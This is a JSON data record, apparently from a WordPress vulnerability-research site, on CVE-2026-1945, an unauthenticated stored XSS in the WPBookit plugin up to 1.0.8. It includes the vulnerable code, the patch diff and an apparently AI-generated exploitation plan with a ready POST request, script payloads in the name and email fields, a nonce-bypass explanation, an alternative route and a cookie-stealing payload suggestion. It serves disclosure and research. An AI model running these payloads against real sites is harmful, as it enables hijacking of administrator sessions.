[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$fqWuO83dwNi4TUeyWJ7-0Us8SkYcyrsIimCLHy7tsOfE":3},{"id":4,"url_slug":5,"title":6,"description":7,"plugin_slug":8,"theme_slug":9,"affected_versions":10,"patched_in_version":11,"severity":12,"cvss_score":13,"cvss_vector":14,"vuln_type":15,"published_date":16,"updated_date":17,"references":18,"days_to_patch":20,"patch_diff_files":21,"patch_trac_url":9,"research_status":30,"research_verified":31,"research_rounds_completed":32,"research_plan":33,"research_summary":34,"research_vulnerable_code":35,"research_fix_diff":36,"research_exploit_outline":37,"research_model_used":38,"research_started_at":39,"research_completed_at":40,"research_error":9,"poc_status":9,"poc_video_id":9,"poc_summary":9,"poc_steps":9,"poc_tested_at":9,"poc_wp_version":9,"poc_php_version":9,"poc_playwright_script":9,"poc_exploit_code":9,"poc_has_trace":31,"poc_model_used":9,"poc_verification_depth":9,"poc_exploit_code_gated":31,"source_links":41},"CVE-2026-1945","wpbookit-unauthenticated-stored-cross-site-scripting-via-wpbusername-and-wpbuseremail-parameters","WPBookit \u003C= 1.0.8 - Unauthenticated Stored Cross-Site Scripting via 'wpb_user_name' and 'wpb_user_email' Parameters","The WPBookit plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'wpb_user_name' and 'wpb_user_email' parameters in all versions up to, and including, 1.0.8 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.","wpbookit",null,"\u003C=1.0.8","1.0.9","high",7.2,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:N\u002FUI:N\u002FS:C\u002FC:L\u002FI:L\u002FA:N","Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","2026-03-03 12:30:48","2026-03-04 01:21:58",[19],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002F5954c682-c772-420a-a764-342418c1e71c?source=api-prod",1,[22,23,24,25,26,27,28,29],"README.txt","core\u002Fadmin\u002Fassets\u002Fsrc\u002Fmodule\u002FBooking.js","core\u002Fadmin\u002Fassets\u002Fsrc\u002Fmodule\u002FCalendar.js","core\u002Fadmin\u002Fassets\u002Fsrc\u002Fmodule\u002FCustomer.js","core\u002Fadmin\u002Fassets\u002Fsrc\u002Fmodule\u002FGuest-Users.js","core\u002Fadmin\u002Fassets\u002Fsrc\u002Futils\u002Fajax.js","core\u002Fadmin\u002Fclasses\u002Fclass.wpb-admin-routes-handler.php","core\u002Fadmin\u002Fclasses\u002Fclass.wpb-admin-routes.php","researched",false,3,"This plan outlines the steps to exploit a Stored Cross-Site Scripting (XSS) vulnerability in the **WPBookit** plugin (\u003C= 1.0.8). The vulnerability exists because unauthenticated users can submit booking requests containing malicious scripts in the `wpb_user_name` and `wpb_user_email` parameters, which are subsequently rendered without escaping in the WordPress administrative dashboard.\n\n### 1. Vulnerability Summary\n*   **Vulnerability:** Unauthenticated Stored Cross-Site Scripting (XSS).\n*   **Target Parameters:** `wpb_user_name`, `wpb_user_email`.\n*   **Vulnerable Component:** The `add_booking` AJAX route handled by `WPB_Bookings_Controller@add_booking`.\n*   **Sink:** The admin dashboard pages for \"Bookings\" and \"Guest Users,\" where the injected strings are rendered via JavaScript template literals in DataTables (`Booking.js` and `Guest-Users.js`).\n*   **Reason:** The plugin fails to sanitize user input before storage and fails to escape the data before rendering it in the admin interface via JavaScript.\n\n### 2. Attack Vector Analysis\n*   **Endpoint:** `\u002Fwp-admin\u002Fadmin-ajax.php`\n*   **Action:** `wpb_ajax_post`\n*   **Route Name:** `add_booking`\n*   **Authentication:** None (Unauthenticated).\n*   **Preconditions:** The plugin must be active. At least one \"Booking Type\" (calendar) should ideally exist, though the injection may occur even if the booking fails, as long as the guest data is processed.\n\n### 3. Code Flow\n1.  **Entry Point:** An unauthenticated user sends a POST request to `admin-ajax.php` with `action=wpb_ajax_post`.\n2.  **Route Handling:** `WPB_Routes_Handler::wpb_ajax_post` (in `class.wpb-admin-routes-handler.php`) catches the request.\n3.  **Route Definition:** It looks up the `add_booking` route in `class.wpb-admin-routes.php`.\n    ```php\n    'add_booking' => [\n        'method' => 'post',\n        'action' => 'WPB_Bookings_Controller@add_booking',\n        'nonce' => 0, \u002F\u002F No nonce required\n        'module' => 'bookings-controller'\n    ],\n    ```\n4.  **Processing:** Since `nonce` is `0`, the handler skips nonce verification and calls `WPB_Bookings_Controller::add_booking`.\n5.  **Storage:** The controller processes `wpb_user_name` and `wpb_user_email` and stores them in the database (typically in a guests or bookings table).\n6.  **Admin Rendering (The Sink):**\n    *   An administrator navigates to the \"Bookings\" page.\n    *   `Booking.js` performs an AJAX GET request to the `booking_list` route.\n    *   The server returns JSON containing the malicious strings.\n    *   The DataTable `render` function in `Booking.js` injects the strings into the DOM:\n        ```javascript\n        \"render\": function (data, type, row) {\n            return `\u003Cdiv class=\"d-flex align-items-center gap-3\">\n                ...\n                \u003Ch6 class=\"iq-sub-label\">${data}\u003C\u002Fh6> \u002F\u002F data is wpb_user_name\n                \u003Cp class=\"mb-0\">${row.email}\u003C\u002Fp> \u002F\u002F email is wpb_user_email\n            \u003C\u002Fdiv>`;\n        }\n        ```\n\n### 4. Nonce Acquisition Strategy\n*   **Analysis:** According to `core\u002Fadmin\u002Fclasses\u002Fclass.wpb-admin-routes.php`, the `add_booking` route explicitly sets `'nonce' => 0`.\n*   **Bypass:** In `WPB_Routes_Handler::wpb_ajax_post`, the code checks `if ($route['nonce'] === 1)`. Since it is `0`, the entire nonce verification block is bypassed.\n*   **Conclusion:** **No nonce is required** for this exploit.\n\n### 5. Exploitation Strategy\nThe exploit will be delivered via a single unauthenticated POST request.\n\n**Step 1: Identify\u002FCreate a Booking Type (Optional but recommended)**\nThe plugin needs a valid `wpb_booking_type` ID. If none exists, the request might fail.\n*   Check existing booking types: `wp post list --post_type=wpb_booking_type` (if stored as CPT) or check the table `wp_wpbookit_booking_types`.\n\n**Step 2: Submit Malicious Booking**\nSend the payload using the `http_request` tool.\n\n*   **URL:** `https:\u002F\u002F\u003Ctarget>\u002Fwp-admin\u002Fadmin-ajax.php`\n*   **Method:** `POST`\n*   **Headers:** `Content-Type: application\u002Fx-www-form-urlencoded`\n*   **Payload:**\n    ```text\n    action=wpb_ajax_post\n    &route_name=add_booking\n    &wpb_user_name=\u003Cscript>alert('XSS_NAME')\u003C\u002Fscript>\n    &wpb_user_email=attacker@example.com\">\u003Cscript>alert('XSS_EMAIL')\u003C\u002Fscript>\n    &wpb_booking_type=1\n    &wpb_booking_date=2025-12-30\n    &wpb_booking_slot_time=10:00-11:00\n    &wpb_phone_number=1234567890\n    ```\n\n### 6. Test Data Setup\n1.  **Activate Plugin:** Ensure `wpbookit` is installed and active.\n2.  **Create Booking Type:** If the plugin is fresh, create at least one booking type so an ID exists.\n    *   `wp eval \"\u002F* Logic to insert a row into wpb_booking_type table if needed *\u002F\"`\n3.  **Note for PoC Agent:** The unauthenticated `add_booking` route is the primary target. Even if the booking itself fails due to date\u002Ftime constraints, the plugin often registers the \"Guest\" details first.\n\n### 7. Expected Results\n*   The server should respond with a JSON object (likely `{\"status\": true, ...}` or a success message).\n*   The malicious strings will be stored in the database.\n*   When an admin logs in and visits `wp-admin\u002Fadmin.php?page=wpbookit-bookings` or the Guest Users page, the browser will execute `alert('XSS_NAME')`.\n\n### 8. Verification Steps\n1.  **Check Database:** Use WP-CLI to verify the payload is stored.\n    ```bash\n    wp db query \"SELECT guest_name, guest_email FROM wp_wpbookit_guests ORDER BY id DESC LIMIT 1;\"\n    ```\n2.  **Check AJAX Response:** Simulate the admin's view by requesting the booking list (requires admin cookies).\n    ```bash\n    # (In script) Log in as admin, then:\n    http_request \"https:\u002F\u002F\u003Ctarget>\u002Fwp-admin\u002Fadmin-ajax.php?action=wpb_ajax_get&route_name=get_guest_list\"\n    ```\n    Verify the output contains the unescaped `\u003Cscript>` tags.\n\n### 9. Alternative Approaches\n*   **If `add_booking` fails:** Try the `register_customer` route.\n    *   In `class.wpb-admin-routes.php`, `register_customer` also has `nonce => 0`.\n    *   Endpoint: `action=wpb_ajax_post&route_name=register_customer`.\n    *   This might also populate the Guest or Customer lists seen by the admin.\n*   **DOM Sink Verification:** If `alert()` is blocked\u002Ffails, use `browser_navigate` to the bookings page and check for the presence of the script tag in the rendered DOM using `browser_eval`.","The WPBookit plugin for WordPress is vulnerable to unauthenticated Stored Cross-Site Scripting (XSS) via the 'wpb_user_name' and 'wpb_user_email' parameters. This occurs because the plugin fails to sanitize user-provided booking information and subsequently renders it in the admin dashboard using JavaScript template literals without proper escaping.","\u002F\u002F core\u002Fadmin\u002Fclasses\u002Fclass.wpb-admin-routes.php:40\n'add_booking' => [\n    'method' => 'post',\n    'action' => 'WPB_Bookings_Controller@add_booking',\n    'nonce' => 0, \u002F\u002F No nonce required, allowing unauthenticated access\n    'module' => 'bookings-controller'\n],\n\n---\n\n\u002F\u002F core\u002Fadmin\u002Fassets\u002Fsrc\u002Fmodule\u002FBooking.js:84\n\"columns\" :  wp.hooks.applyFilters('wpb_booking_datatable_columns',[\n    {\n        \"data\": \"name\",\n        \"render\": function (data, type, row) {\n            return `\u003Cdiv class=\"d-flex align-items-center gap-3\">\n                \u003Cimg class=\"rounded-pill img-fluid avatar-40\" src=\"${row.profile_img}\" alt=\"\" loading=\"lazy\">\n                \u003Cdiv class=\"media-support-info\">\n                    \u003Ch6 class=\"iq-sub-label\">${data}\u003C\u002Fh6>\n                    \u003Cp class=\"mb-0\">${row.email}\u003C\u002Fp>\n                \u003C\u002Fdiv>\n            \u003C\u002Fdiv>`;\n\n        },\n        \"name\": 'booking_name',\n        \"searchable\": false\n    },","--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwpbookit\u002F1.0.8\u002Fcore\u002Fadmin\u002Fassets\u002Fsrc\u002Fmodule\u002FBooking.js\t2025-12-24 10:41:00.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwpbookit\u002F1.0.9\u002Fcore\u002Fadmin\u002Fassets\u002Fsrc\u002Fmodule\u002FBooking.js\t2026-02-23 10:46:46.000000000 +0000\n@@ -88,8 +88,8 @@\n                         return `\u003Cdiv class=\"d-flex align-items-center gap-3\">\n                             \u003Cimg class=\"rounded-pill img-fluid avatar-40\" src=\"${row.profile_img}\" alt=\"\" loading=\"lazy\">\n                             \u003Cdiv class=\"media-support-info\">\n-                                \u003Ch6 class=\"iq-sub-label\">${data}\u003C\u002Fh6>\n-                                \u003Cp class=\"mb-0\">${row.email}\u003C\u002Fp>\n+                                \u003Ch6 class=\"iq-sub-label\">${_.escape(data)}\u003C\u002Fh6>\n+                                \u003Cp class=\"mb-0\">${_.escape(row.email)}\u003C\u002Fp>\n                             \u003C\u002Fdiv>\n                         \u003C\u002Fdiv>`;\n \n@@ -250,12 +250,12 @@\n         \n         let model = jQuery(this.bookingViewModel._element)\n \n-        model.find('.wpb-booking-type').html(type)\n-        model.find('.wpb-booking-date-time').html(formattedDateTime)\n-        model.find('.wpb-booking-duration').html(duration)\n-        model.find('.wpb-booking-user-email').html(email)\n-        model.find('.wpb-booking-created').html(formatedate_created)\n-        model.find('.wpb-booking-questions').html('')\n+        model.find('.wpb-booking-type').text(type)\n+        model.find('.wpb-booking-date-time').text(formattedDateTime)\n+        model.find('.wpb-booking-duration').text(duration)\n+        model.find('.wpb-booking-user-email').text(email)\n+        model.find('.wpb-booking-created').text(formatedate_created)\n+        model.find('.wpb-booking-questions').empty()","1. **Identify the Target Endpoint**: The vulnerability is triggered via the AJAX handler in `\u002Fwp-admin\u002Fadmin-ajax.php` using the action `wpb_ajax_post`.\n2. **Craft Malicious Payload**: Prepare a POST request targeting the `add_booking` route. This route is configured with `nonce => 0`, meaning it does not require an AJAX nonce or user authentication.\n3. **Inject Payload**: Set the `wpb_user_name` or `wpb_user_email` parameters to a malicious script, such as `\u003Cscript>alert(document.cookie)\u003C\u002Fscript>`.\n4. **Submit Request**: Send the POST request to the server. Parameters like `wpb_booking_type`, `wpb_booking_date`, and `wpb_booking_slot_time` should be included to ensure the booking logic processes the guest data.\n5. **Persistence**: The plugin stores the guest information in the database (e.g., `wp_wpbookit_guests` table) without sanitization.\n6. **Trigger Execution**: The exploit executes when an authenticated administrator visits the 'Bookings' or 'Guest Users' sections of the WPBookit dashboard. The administrative interface fetches the stored records via AJAX and injects them into the DOM using unescaped template literals in `Booking.js` or `Guest-Users.js`.","gemini-3-flash-preview","2026-04-18 06:43:23","2026-04-18 06:43:54",{"type":42,"vulnerable_version":43,"fixed_version":11,"vulnerable_browse":44,"vulnerable_zip":45,"fixed_browse":46,"fixed_zip":47,"all_tags":48},"plugin","1.0.8","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fwpbookit\u002Ftags\u002F1.0.8","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fwpbookit.1.0.8.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fwpbookit\u002Ftags\u002F1.0.9","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fwpbookit.1.0.9.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fwpbookit\u002Ftags"]